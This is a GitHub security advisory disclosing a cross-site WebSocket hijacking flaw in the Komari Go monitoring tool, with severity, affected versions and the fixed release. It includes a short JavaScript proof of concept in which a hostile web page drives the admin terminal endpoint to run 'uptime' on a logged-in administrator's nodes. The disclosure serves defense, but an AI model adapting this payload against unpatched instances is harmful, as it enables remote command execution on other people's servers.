GitHub Advisoryadvisory · Go

GHSA-q355-h244-969h Komari vulnerable to Cross-site WebSocket Hijacking

HIGH Published 2025-08-12 Modified 2025-08-12 Official page ↗
Ecosystem
Go
Packages
github.com/komari-monitor/komari
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-1385
Reviewed
2025-08-12

Affected packages

• Go github.com/komari-monitor/komari: < 0.0.0-20250809073044-53171affcaf0 → fixed in 0.0.0-20250809073044-53171affcaf0

Description

Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `` and `` into yours 3. Visit this HTML page, you can see your node is executing `uptime` without your actions ``` const socket = new WebSocket("wss:///api/admin/client//terminal"); socket.addEventListener("open", (event) => { const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' }); socket.send(binaryBlob); }); socket.addEventListener("message", (event) => { event.data.text().then(x => {document.querySelector("pre").append(x)}); }); ``` Impact An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Related

Weakness · CWE (1)

  • CWE-1385 Missing Origin Validation in WebSockets weakness

References